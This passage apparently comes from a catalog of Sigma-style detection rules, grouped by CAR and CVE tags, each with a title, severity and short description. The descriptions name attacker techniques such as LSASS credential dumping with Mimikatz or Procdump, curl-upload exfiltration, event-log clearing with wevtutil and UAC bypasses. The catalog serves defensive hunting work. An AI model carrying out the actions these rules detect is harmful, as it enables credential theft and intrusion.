uncommon activity in your environement. PsExec Default Named Pipe - Level: low Description: Detects PsExec service default pipe creation Uncommon PowerShell Hosts - Level: medium Description: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe bXOR Operator Usage In PowerShell Command Line - PowerShell Classic - Level: low Description: Detects powershell execution with that make use of to the bxor (Bitwise XOR). Attackers might use as an alternative obfuscation method to Base64 encoded commands. Investigate the CommandLine and process tree to determine if the activity is malicious. Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet - Level: low Description: Detects execution of "Get-NetFirewallRule" or "Show-NetFirewallRule" to enumerate the local firewall rules on a host. Compress-Archive Cmdlet Execution - Level: low Description: Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. Windows Mail App Mailbox Access Via PowerShell Script - Level: medium Description: Detects PowerShell scripts that try to access the default Windows MailApp MailBox. This indicates manipulation of or access to the stored emails of a user. E.g. this could be used by an attacker to exfiltrate or delete the content of the emails. New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock - Level: low Description: Detects when a powershell script contains calls to the "New-NetFirewallRule" cmdlet in order to add a new firewall rule with an "Allow" action. SMB over QUIC Via PowerShell Script - Level: medium Description: Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments Potential Registry Reconnaissance Via PowerShell Script - Level: medium Description: Detects PowerShell scripts with potential registry reconnaissance capabilities. Adversaries may interact with the Windows registry to gather information about the system credentials, configuration, and installed software. Use Of Remove-Item to Delete File - ScriptBlock - Level: low Description: PowerShell Remove-Item with -Path to delete a file or a folder with "-Recurse" Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet - Level: medium Description: Detects the execution of a PowerShell script with a call to the "Send-MailMessage" cmdlet along with the "-Attachments" flag. This could be a potential sign of data exfiltration via Email. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. WinAPI Library Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts. WinAPI Function Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts. Potential Credential Dumping Attempt Via PowerShell - Level: medium Description: Detects a PowerShell process requesting access to "lsass.exe", which can be indicative of potential credential dumping attempts Uncommon GrantedAccess Flags On LSASS - Level: medium Description: Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410 Potential Shellcode Injection - Level: medium Description: Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject. Password Protected Compressed File Extraction Via 7Zip - Level: low Description: Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files. Set Files as System Files Using Attrib.EXE - Level: low Description: Detects the execution of "attrib" with the "+s" flag to mark files as system files CMD Shell Output Redirect - Level: low Description: Detects the use of the redirection character ">" to redirect information on the command line. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration. Potential File Override/Append Via SET Command - Level: low Description: Detects the use of the "SET" internal command of Cmd.EXE with the /p flag followed directly by an "=" sign. Attackers used this technique along with an append redirection operator ">>" in order to update the content of a file indirectly. Ex: cmd /c >> example.txt set /p="test data". This will append "test data" to contents of "example.txt". The typical use case of the "set /p=" command is to prompt the user for input. Dynamic .NET Compilation Via Csc.EXE - Hunting - Level: medium Description: Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages. File Download Via Curl.EXE - Level: medium Description: Detects file download using curl.exe Curl.EXE Execution - Level: low Description: Detects a curl process start on Windows, which could indicates a file download from a remote location or a simple web request to a remote server Potential Data Exfiltration Via Curl.EXE - Level: medium Description: Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration Diskshadow Child Process Spawned - Level: medium Description: Detects any child process spawning from "Diskshadow.exe". This could be due to executing Diskshadow in interpreter mode or script mode and using the "exec" flag to launch other applications. Curl.EXE Execution With Custom UserAgent - Level: medium Description: Detects execution of curl.exe with custom useragent options ClickOnce Deployment Execution - Dfsvc.EXE Child Process - Level: medium Description: Detects child processes of "dfsvc" which indicates a ClickOnce deployment execution. Diskshadow Script Mode Execution - Level: medium Description: Detects execution of "Diskshadow.exe" in script mode using the "/s" flag. Attackers often abuse "diskshadow" to execute scripts that deleted the shadow copies on the systems. Investigate the content of the scripts and its location. Potential Proxy Execution Via Explorer.EXE From Shell Process - Level: low Description: Detects the creation of a child "explorer.exe" process from a shell like process such as "cmd.exe" or "powershell.exe". Attackers can use "explorer.exe" for evading defense mechanisms by proxying the execution through the latter. While this is often a legitimate action, this rule can be use to hunt for anomalies. Muddy Waters threat actor was seeing using this technique. Potential DLL Sideloading Activity Via ExtExport.EXE - Level: medium Description: Detects the execution of "Extexport.exe".A utility that is part of the Internet Explorer browser and is used to export and import various settings and data, particularly when switching between Internet Explorer and other web browsers like Firefox. It allows users to transfer bookmarks, browsing history, and other preferences from Internet Explorer to Firefox or vice versa. It can be abused as a tool to side load any DLL. If a folder is provided in the command line it'll load any DLL with one of the following names "mozcrt19.dll", "mozsqlite3.dll", or "sqlite.dll". Arbitrary DLLs can also be loaded if a specific number of flags was provided. Potential Password Reconnaissance Via Findstr.EXE - Level: medium Description: Detects command line usage of "findstr" to search for the "passwords" keyword in a variety of different languages New Self Extracting Package Created Via IExpress.EXE - Level: medium Description: Detects the "iexpress.exe" utility creating self-extracting packages. Attackers where seen leveraging "iexpress" to compile packages on the fly via ".sed" files. Investigate the command line options provided to "iexpress" and in case of a ".sed" file, check the contents and legitimacy of it. Microsoft Workflow Compiler Execution - Level: medium Description: Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code. CodePage Modification Via MODE.COM - Level: low Description: Detects a CodePage modification using the "mode.com" utility. This behavior has been used by threat actors behind Dharma ransomware. Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE". SMB over QUIC Via Net.EXE - Level: medium Description: Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments. Suspicious New Instance Of An Office COM Object - Level: medium Description: Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc. This can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references) Import New Module Via PowerShell CommandLine - Level: low Description: Detects usage of the "Import-Module" cmdlet in order to add new Cmdlets to the current PowerShell session Unusually Long PowerShell CommandLine - Level: low Description: Detects unusually long PowerShell command lines with a length of 1000 characters or more Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Potentially Suspicious PowerShell Child Processes - Level: medium Description: Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands. Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly - Level: medium Description: Detects execution of regsvr32 with the silent flag and no other flags on a DLL located in an uncommon or potentially suspicious location. When Regsvr32 is called in such a way, it implicitly calls the DLL export function 'DllRegisterServer'. Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions - Level: medium Description: Detects the execution of Action1 in order to execute arbitrary code or establish a remote session. Action1 is a powerful Remote Monitoring and Management tool that enables users to execute commands, scripts, and binaries. Through the web interface of action1, the administrator must create a new policy or an app to establish remote execution and then points that the agent is installed. Hunting Opportunity 1- Weed Out The Noise When threat actors execute a script, a command, or a binary through these new policies and apps, the names of these become visible in the command line during the execution process. Below is an example of the command line that contains the deployment of a binary through a policy with name "test_app_1": ParentCommandLine: "C:\WINDOWS\Action1\action1_agent.exe schedule:Deploy_App__test_app_1_1681327673425 runaction:0" After establishing a baseline, we can split the command to extract the policy name and group all the policy names and inspect the results with a list of frequency occurrences. Hunting Opportunity 2 - Remote Sessions On Out Of Office Hours If you have admins within your environment using remote sessions to administer endpoints, you can create a threat-hunting query and modify the time of the initiated sessions looking for abnormal activity. Remote Access Tool - Ammy Admin Agent Execution - Level: medium Description: Detects the execution of the Ammy Admin RMM agent for remote management. Remote Access Tool - Cmd.EXE Execution via AnyViewer - Level: medium Description: Detects execution of "cmd.exe" via the AnyViewer RMM agent on a remote management sessions. Remote Access Tool - ScreenConnect Remote Command Execution - Hunting - Level: medium Description: Detects remote binary or command execution via the ScreenConnect Service. Use this rule in order to hunt for potentially anomalous executions originating from ScreenConnect DLL Call by Ordinal Via Rundll32.EXE - Level: medium Description: Detects calls of DLLs exports by ordinal numbers via rundll32.dll. Rundll32.EXE Calling DllRegisterServer Export Function Explicitly - Level: medium Description: Detects when the DLL export function 'DllRegisterServer' is called in the commandline by Rundll32 explicitly where the DLL is located in a non-standard path. Scheduled Task Creation From Potential Suspicious Parent Location - Level: medium Description: Detects the execution of "schtasks.exe" from a parent that is located in a potentially suspicious location. Multiple malware strains were seen exhibiting a similar behavior in order to achieve persistence. SC.EXE Query Execution - Level: low Description: Detects execution of "sc.exe" to query information about registered services on the system Potential CommandLine Obfuscation Using Unicode Characters - Level: medium Description: Detects potential CommandLine obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. Potentially Suspicious Compression Tool Parameters - Level: medium Description: Detects potentially suspicious command line arguments of common data compression tools Elevated System Shell Spawned - Level: medium Description: Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes. EventLog Query Requests By Builtin Utilities - Level: medium Description: Detect attempts to query the contents of the event log using command line utilities. Attackers use this technique in order to look for sensitive information in the logs such as passwords, usernames, IPs, etc. Potential Suspicious Execution From GUID Like Folder Names - Level: low Description: Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. Use this rule to hunt for potentially suspicious activity stemming from uncommon folders. Execution From Webserver Root Folder - Level: medium Description: Detects a program executing from a web server root folder. Use this rule to hunt for potential interesting activity such as webshell or backdoors Tunneling Tool Execution - Level: medium Description: Detects the execution of well known tools that can be abused for data exfiltration and tunneling. File or Folder Permissions Modifications - Level: medium Description: Detects a file or folder's permissions being modified or tampered with. Manual Execution of Script Inside of a Compressed File - Level: medium Description: This is a threat-hunting query to collect information related to the interactive execution of a script from inside a compressed file (zip/rar). Windows will automatically run the script using scripting interpreters such as wscript and cscript binaries. From the query below, the child process is the script interpreter that will execute the script. The script extension is also a set of standard extensions that Windows OS recognizes. Selections 1-3 contain three different execution scenarios. 1. Compressed file opened using 7zip. 2. Compressed file opened using WinRar. 3. Compressed file opened using native windows File Explorer capabilities. When the malicious script is double-clicked, it will be extracted to the respected directories as signified by the CommandLine on each of the three Selections. It will then be executed using the relevant script interpreter." Process Terminated Via Taskkill - Level: low Description: Detects execution of "taskkill.exe" in order to stop a service or a process. Look for suspicious parents executing this command in order to hunt for potential malicious activity. Attackers might leverage this in order to conduct data destruction or data encrypted for impact on the data stores of services like Exchange and SQL Server. Suspicious Tasklist Discovery Command - Level: informational Description: Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network System Information Discovery Via Wmic.EXE - Level: low Description: Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, disk drive names, memory capacity, display resolution, baseboard, BIOS, and GPU driver products/versions. WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript - Level: medium Description: Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript Arbitrary Command Execution Using WSL - Level: medium Description: Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands. Cab File Extraction Via Wusa.EXE - Level: medium Description: Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract cab using the "/extract" argument that is no longer supported. Scheduled Task Created - Registry - Level: low Description: Detects the creation of a scheduled task via Registry keys. Microsoft Office Trusted Location Updated - Level: medium Description: Detects changes to the registry keys related to "Trusted Location" of Microsoft Office. Attackers might add additional trusted locations to avoid macro security restrictions. Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Command Executed Via Run Dialog Box - Registry - Level: low Description: Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps. Service Binary in User Controlled Folder - Level: medium Description: Detects the setting of the "ImagePath" value of a service registry key to a path controlled by a non-administrator user such as "\AppData\" or "\ProgramData\". Attackers often use such directories for staging purposes. This rule might also trigger on badly written software, where if an attacker controls an auto starting service, they might achieve persistence or privilege escalation. Note that while ProgramData is a user controlled folder, software might apply strict ACLs which makes them only accessible to admin users. Remove such folders via filters if you experience a lot of noise. Shell Context Menu Command Tampering - Level: low Description: Detects changes to shell context menu commands. Use this rule to hunt for potential anomalies and suspicious shell commands.
cve.2021_1675	9	Show Rules (9) Possible PrintNightmare Print Driver Install - Level: medium Description: Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy. Potential PrintNightmare Exploitation Attempt - Level: high Description: Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675 Windows Spooler Service Suspicious Binary Load - Level: informational Description: Detect DLL Load from Spooler Service backup folder PrinterNightmare Mimikatz Driver Name - Level: critical Description: Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527 Suspicious Printer Driver Empty Manufacturer - Level: high Description: Detects a suspicious printer driver installation with an empty Manufacturer value CVE-2021-1675 Print Spooler Exploitation Filename Pattern - Level: critical Description: Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675 Possible CVE-2021-1675 Print Spooler Exploitation - Level: high Description: Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation - Level: critical Description: Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 CVE-2021-1675 Print Spooler Exploitation IPC Access - Level: critical Description: Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527
car.2013_07_002	9	Show Rules (9) RDP over Reverse SSH Tunnel WFP - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address RDP Login from Localhost - Level: high Description: RDP login with localhost source address may be a tunnelled login Scanner PoC for CVE-2019-0708 RDP RCE Vuln - Level: high Description: Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep Potential RDP Exploit CVE-2019-0708 - Level: medium Description: Detect suspicious error on protocol RDP, potential CVE-2019-0708 Outbound RDP Connections Over Non-Standard Tools - Level: high Description: Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use. RDP Over Reverse SSH Tunnel - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389 RDP to HTTP or HTTPS Target Ports - Level: high Description: Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443 Terminal Service Process Spawn - Level: high Description: Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708) Suspicious RDP Redirect Using TSCON - Level: high Description: Detects a suspicious RDP session redirect using tscon.exe
car.2016_03_001	9	Show Rules (9) HackTool - SharpLdapWhoami Execution - Level: high Description: Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller Network Reconnaissance Activity - Level: high Description: Detects a set of suspicious network related commands often used in recon stages Renamed Whoami Execution - Level: critical Description: Detects the execution of whoami that has been renamed to a different name to avoid detection WhoAmI as Parameter - Level: high Description: Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato) Enumerate All Information With Whoami.EXE - Level: medium Description: Detects the execution of "whoami.exe" with the "/all" flag Whoami Utility Execution - Level: low Description: Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation Whoami.EXE Execution With Output Option - Level: medium Description: Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use. Whoami.EXE Execution Anomaly - Level: medium Description: Detects the execution of whoami.exe with suspicious parent processes. Reconnaissance Activity Using BuiltIn Commands - Level: medium Description: Detects execution of a set of builtin commands often used in recon stages by different attack groups
car.2019_04_001	8	Show Rules (8) CMSTP Execution Process Access - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution CMSTP Execution Process Creation - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution Potentially Suspicious Event Viewer Child Process - Level: high Description: Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt HackTool - Empire PowerShell UAC Bypass - Level: critical Description: Detects some Empire PowerShell UAC bypass methods CMSTP UAC Bypass via COM Object Access - Level: high Description: Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65) CMSTP Execution Registry Event - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution UAC Bypass via Event Viewer - Level: high Description: Detects UAC bypass method using Windows event viewer UAC Bypass via Sdclt - Level: high Description: Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)
car.2013_05_009	7	Show Rules (7) Renamed PaExec Execution - Level: medium Description: Detects execution of renamed paexec via imphash and executable product string Renamed PsExec - Level: high Description: Detects the execution of a renamed PsExec often used by attackers or malware Renamed PowerShell - Level: high Description: Detects the execution of a renamed PowerShell often used by attackers or malware Potential Defense Evasion Via Rename Of Highly Relevant Binaries - Level: high Description: Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint. Process Memory Dump Via Comsvcs.DLL - Level: high Description: Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.) Potential LSASS Process Dump Via Procdump - Level: high Description: Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable. Ps.exe Renamed SysInternals Tool - Level: high Description: Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
car.2016_04_002	7	Show Rules (7) Security Eventlog Cleared - Level: high Description: One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution Eventlog Cleared - Level: medium Description: One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution Important Windows Eventlog Cleared - Level: high Description: Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution Disable of ETW Trace - Powershell - Level: high Description: Detects usage of powershell cmdlets to disable or remove ETW trace sessions ETW Trace Evasion Activity - Level: high Description: Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion. Suspicious Eventlog Clearing or Configuration Change Activity - Level: high Description: Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses. NotPetya Ransomware Activity - Level: critical Description: Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil
car.2013_09_005	7	Show Rules (7) Suspicious Service Installation - Level: high Description: Detects suspicious service installation commands Uncommon Service Installation Image Path - Level: medium Description: Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc. Service Installation in Suspicious Folder - Level: medium Description: Detects service installation in suspicious folder appdata Service Installation with Suspicious Folder Pattern - Level: high Description: Detects service installation with suspicious folder patterns Suspicious Service Installation Script - Level: high Description: Detects suspicious service installation scripts Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities. Rare Service Installations - Level: low Description: Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services
car.2013_08_001	7	Show Rules (7) HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration. Scheduled Task Creation Via Schtasks.EXE - Level: low Description: Detects the creation of scheduled tasks by user accounts via the "schtasks" utility. Potential BearLPE Exploitation - Level: high Description: Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par Scheduled Task Deletion - Level: low Description: Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME Scheduled Task Created - FileCreation - Level: low Description: Detects the creation of a scheduled task via file creation. Scheduled Task Created - Registry - Level: low Description: Detects the creation of a scheduled task via Registry keys. Rare Schtasks Creations - Level: low Description: Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code
cve.2023_36884	6	Show Rules (6) Potential CVE-2023-36884 Exploitation Dropped File - Level: medium Description: Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884 Potential CVE-2023-36884 Exploitation Pattern - Level: critical Description: Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884 Potential CVE-2303-36884 URL Request Pattern Traffic - Level: high Description: Detects a specific URL pattern containing a specific extension and parameters pointing to an IP address. This pattern was seen being used by RomCOM potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - File Downloads - Level: medium Description: Detects files seen being requested by RomCom while potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - URL Marker - Level: high Description: Detects a unique URL marker seen being used by RomCom potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - Share Access - Level: high Description: Detects access to a file share with a naming schema seen being used during exploitation of CVE-2023-36884
car.2019_04_004	5	Show Rules (5) Credential Dumping Tools Accessing LSASS Memory - Level: high Description: Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools Mimikatz Detection LSASS Access - Level: high Description: Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION "only old versions", 0x0010 PROCESS_VM_READ) Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Potentially Suspicious AccessMask Requested From LSASS - Level: medium Description: Detects process handle on LSASS process with certain access mask Mimikatz In-Memory - Level: medium Description: Detects certain DLL loads when Mimikatz gets executed
cve.2021_34527	4	Show Rules (4) Possible PrintNightmare Print Driver Install - Level: medium Description: Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy. Windows Spooler Service Suspicious Binary Load - Level: informational Description: Detect DLL Load from Spooler Service backup folder PrinterNightmare Mimikatz Driver Name - Level: critical Description: Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527 CVE-2021-1675 Print Spooler Exploitation IPC Access - Level: critical Description: Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527
cve.2023_23397	4	Show Rules (4) Suspicious WebDav Client Execution Via Rundll32.EXE - Level: high Description: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397 Outlook Task/Note Reminder Received - Level: low Description: Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation. CVE-2023-23397 Exploitation Attempt - Level: critical Description: Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation. Potential CVE-2023-23397 Exploitation Attempt - SMB - Level: medium Description: Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.
cve.2023_22518	4	Show Rules (4) CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) - Level: high Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.
cve.2023_4966	4	Show Rules (4) CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs. CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string.
cve.2022_26134	3	Show Rules (3) Potential OGNL Injection Exploitation In JVM Based Application - Level: high Description: Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134) Atlassian Confluence CVE-2022-26134 - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134 Java Payload Strings - Level: high Description: Detects possible Java payloads in web access logs
cve.2021_26084	3	Show Rules (3) Java Payload Strings - Level: high Description: Detects possible Java payloads in web access logs Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084 Potential CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection
car.2013_07_001	3	Show Rules (3) Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Copying Sensitive Files with Credential Data - Level: high Description: Files with well-known filenames (sensitive files with credential data) copying Dumping of Sensitive Hives Via Reg.EXE - Level: high Description: Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.
stp.1u	3	Show Rules (3) Operator Bloopers Cobalt Strike Commands - Level: high Description: Detects use of Cobalt Strike commands accidentally entered in the CMD shell PUA - AdFind Suspicious Execution - Level: high Description: Detects AdFind execution with common flags seen used during attacks Scheduled Task Creation Via Schtasks.EXE - Level: low Description: Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.
car.2016_03_002	3	Show Rules (3) New Process Created Via Wmic.EXE - Level: medium Description: Detects new process creation using WMIC via the "process call create" flag Hardware Model Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information Potential Product Class Reconnaissance Via Wmic.EXE - Level: medium Description: Detects the execution of WMIC in order to get a list of firewall and antivirus products
cve.2020_0688	3	Show Rules (3) CVE-2020-0688 Exploitation Attempt - Level: high Description: Detects CVE-2020-0688 Exploitation attempts CVE-2020-0688 Exchange Exploitation via Web Log - Level: critical Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 CVE-2020-0688 Exploitation via Eventlog - Level: high Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
